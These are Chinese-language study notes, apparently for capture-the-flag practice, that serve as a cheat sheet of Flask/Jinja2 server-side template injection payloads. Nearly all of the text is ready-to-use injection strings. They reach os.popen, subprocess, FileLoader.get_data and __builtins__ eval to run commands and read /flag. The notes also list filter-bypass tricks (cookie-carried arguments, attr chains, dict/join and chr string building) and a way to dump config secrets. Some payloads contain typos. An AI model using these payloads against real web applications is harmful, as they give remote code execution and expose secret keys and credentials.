

# FLASK

`__class__`：查看当前对象所属的类

`__mro__`：查看当前类的继承关系（MethodResolutionOrder），通常用来找基类object

`__base__`：查看当前类的直接父类

`__subclasses__()`：列出当前运行环境下，该类所有的子类，自定义的类也在这里（这是寻找RCE插件的关键）

`__init__`：类的初始化方法，访问构造函数，函数对象都有`__globals__`属性

`__globals__`：函数所在模块的全局变量字典，获取该函数运行时的所有全局变量、函数和引用的模块（如果这个类所在的文件夹里引用了os，或者它能访问`__builtins__`，那么os模块就会出现在这个字典里）

如果[]被禁`__globals__`要访问字典键可

以：`.os`，`.get("os")`，`|attr('os')`，`.__getitem__('os')`，`dict`，`request`

要是没有什么类,可以用可以找找`__builtins__`工具，包含了python所有内置函数

有`__class__`属性的有：`()`，`' '`，`""`，

`[]`，`config`，`request`，`self`，`lipsum`，`cycler`，`joiner`，`namespace`，`url_for`，`get_flashed_messages`

分隔符也可以改，开发者自定义

`{%}`：变量、表达式打印，有回显

`{% %}`：语句、控制流，无回显，唯一有个`print`可以打印像

例：`{% if admin %} ... {% endif %}`

`{% for i in range(10) %} ... {% endfor %}`

`{% set a = 'os' %}`

`{##}`：注释，不会被执行

`#`：行语句需要开启配置

在jinja2中没有定义的变量值为Undefined对象

过滤器(`join`，`attr`)没有参数，可以不加括号

`~`：在jinja2中，在~两边的不管是什么都会被转成字符串，将字符连接在一起，如

`10~2=>"102"`，`"a"~"b"="ab"`

## 常用模块和类

### os模块

这是最直接的目标它通常隐藏在这些子类的\_\_globals\_\_中：

os.\_wrap\_close(Python3极常用，索引通常在前150个)

warnings.catch\_warnings(经典老牌)

site.\_Printer

linecache(因为它内部为了读取源码引用了os)

例：

```
{{(__class__.__bases__[0].__subclasses__())[索引]}.__init__.__globals__['os'].popen('whoami').read()}}
{{'.'.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
```

### inspect.Signature

```
?name={{'.'.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat/flag').read()}}
也有__builtins__
```

### subprocess.Popen

subprocess.Popen(通常直接出现在subclasses列表中)

例：{{(\_\_class\_\_.\_\_bases\_\_[0].\_\_subclasses\_\_())[索引]('ls', shell=True, stdout=-1).communicate()[0]}}  
communicate()会返回一个元组，两个元素标准输出和标准错误

### \_frozen\_importlib\_external.FileLoader

可用于绕过那些过滤了os、popen、eval或open的waf

FileLoader是Python内部用来从硬盘加载文件的类它有一个内置方法叫get\_data(0, path)，第一个参数是self，get\_data不会用到self，所以可以随便传参，但省略会报错

```
{{'.'.__class__.__base__.__subclasses__()[94].get_data(0, "/flag")}}
{{'.'.__class__.__base__.__subclasses__()[94].get_data(0, '/flag')}}
```

### traceback.TracebackException

```
?name={{'.'.__class__.__base__.__subclasses__()[292].__init__.__globals__['linecache']['os'].popen('ls/').read()}}}}
```

### builtins模块

`__builtins__` 就像一个百宝箱，里面包含了Python所有的内置函数，如`eval`, `__import__`, `open` 只要能访问到 `__globals__` 机会百分百 `__builtins__`，而能访问 `__globals__` 的都是python写的，包括用户自定义的类

常用入口类：`site.Quitter`, `site._Printer`, `warnings.catch_warnings`

利用方式：

```
执行eval: __globals__['__builtins__']['eval']
(" __import__( 'os' ).popen( 'id' ).read()")
```

```
使用import: __globals__['__builtins__']['__import__']('os').system('ls')
```

## flask.json.tag.JSONTag

```
{{'.'.__class__.__base__.__subclasses__()
[446].__init__.__globals__['__builtins__']['eval']
("__import__( 'os' ).popen( 'whoami' ).read()")}}
```

## 绕过

request对象

是flask就有，`flask.*`

```
{{url_for.__globals__['request']}}
{{get_flashed_messages.__globals__['request']}}
request.args: 解析后的URL查询字符串（GET参数）
结构: ?name=abc&age=18, request.args.name调用
{'name': 'abc', 'age': '18'}
```

`request.form`: POST请求中表单提交的数据

结构: 类似字典

`request.values`: args和form的结合体

`request.cookies`: 客户端发送的所有Cookie

SSTI价值: 如果URL长度受限，可以将Payload放在Cookie里，通过`request.cookies.mykey`读取

`request.headers`: 所有的HTTP请求头

结构: 包含User-Agent, Referer, Host等

SSTI价值: 可以用`request.headers['User-Agent']`来读取数据

`request.method`: 请求方法 (GET, POST, PUT等)

`request.path`: 请求的路径 (不带域名和参数, 如/login)

`request.url`: 完整的请求地址

`request.host`: 服务器的主机名 (域名)

`request.remote_addr`: 客户端的真实IP地址

`request.files`: 上传的文件对象

`request.json`: 如果请求头是application/json, 这里存放解析后的JSON数据

```
?name={{({).__class__.__base__.__subclasses__()[94][request.args.m1]
(0,request.args.m2)}}&m1=get_data&m2=/flag
```

## pop函数

`__subclasses__()`是列表，`__init__.__global__`是字典都可以使用pop  
pop会删除并返回指定键的值，通常一次性会导致环境崩溃  
`__subclasses__()[94]`和`__subclasses__().pop(94)`值相等

## lipsum函数

内置函数有`__globals__`属性,可以直接`lipsum.__globals__`  
拥有模块：os

```
{{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies
.m2).read())}}
cookie : m1=__globals__;m2=cat /flag;m3=os
{{ (lipsum|attr(request.cookies.n)|attr(request.cookies.k))
("os").popen(request.cookies.m).read() }}
cookie : n=__globals__;k=__getitem__;m=ls
{{ (lipsum|attr(request.cookies.n))
[request.cookies.k].popen(request.cookies.m).read() }}
cookie : n=__globals__;k=os;m=ls
{{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies
.m2).read())}}
cookie : m1=__globals__;m2=cat /flag;m3=os
```

## |attr()过滤器

可以是字符串也可以是变量  
`lipsum|attr("__init__")|attr("__globals__")` 等于 `lipsum.__init__.__globals__`

```
{{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read())}}
Cookie : m1=__globals__;m2=cat /flag
```

## {%%}分隔符

```
{%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.c
ookies.m2).read())}%}
cookie : m1=__globals__;m2=cat /flag;m3=os

{% %}中可以写set定义变量，{{}}会报错
```

## 字符拼接绕过

dict：dict函数在创造字典时python会自动把赋值对象看成字符串  
例：dict(name=1)直接生成{"name":1}  
join：对字典使用join时，join会把字典的所有键拼接成一个字符串，所以dict(po=a,p=a)|join可以生成"pop"，而a是占位符随便写

```
{% set po=dict(po=a,p=a)|join%}           {#设置po为pop#}
{% set a=((|select|string|list)|attr(po)(24)%} {#{{(|select)}}为<generator
object select_or_reject at 0x7fadb99af220>, pop(24)正好时下划线#}
```

```
{% set ini=(a,a,dict(init=a)|join,a,a)|join(}%} {#设置ini为__init__#}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join(}%} {#设置glo为__globals__#}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join(}%} {#设置geti为__getitem__#}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join(}%} {#设置built为__builtins__#}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {#设置x为q.__ini__.__globals__.__getitem__('__builtins__')}
{% set chr=x.chr%} {#提取__builtins__中的chr函数#}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {#构造文件路径/flag#}
{%print(x.open(file).read())%} {#利用__builtins__.open('/flag').read()读取文件内容#}
```

数字被过滤可以用count如{%set n=(dict(cccc=a)|join)|count%}将n赋值为4  
length: count被过滤可以用length替换, jinja2的length和count完全等价

```
{%print(lipsum|string|list)%}
```

输出:

```
['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a',  
't', 'e', ' ', 'l', 'o', 'r', 'e', 'm', ' ', 'i', 'p', 's', 'u', 'm', ' ', 'a',  
't', ' ', 't', 'h', 'e', ' ', 'f', 'i', 'r', 's', 't', ' ', 'o', 'f', ' ', 't', 'h', 'e', ' ', 'w', 'o', 'r', 'l', 'd',  
'>']
```

而我们要在这些字符中把我们想要的一个个拼起来

例:

```
{%set gl=((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~  
((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~  
((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~  
((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~  
((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~  
((lipsum|string|list).pop(18)))%}  
{%print(lipsum|attr(gl))%}  
gl为__globals__
```

框架内置对象(Flask/Jinja2特有)

不需要从' '出发, 直接在模板中就能拿到的对象

config: 泄露SECRET\_KEY、数据库连接密码{{config}}

request: 利用请求对象

```
{{request.application.__self__.__get_data_for_json.__globals__['os'].popen('id').read()}}
```

```
url_for/get_flashed_messages: {{url_for.__globals__['os'].popen('ls').read()}}
```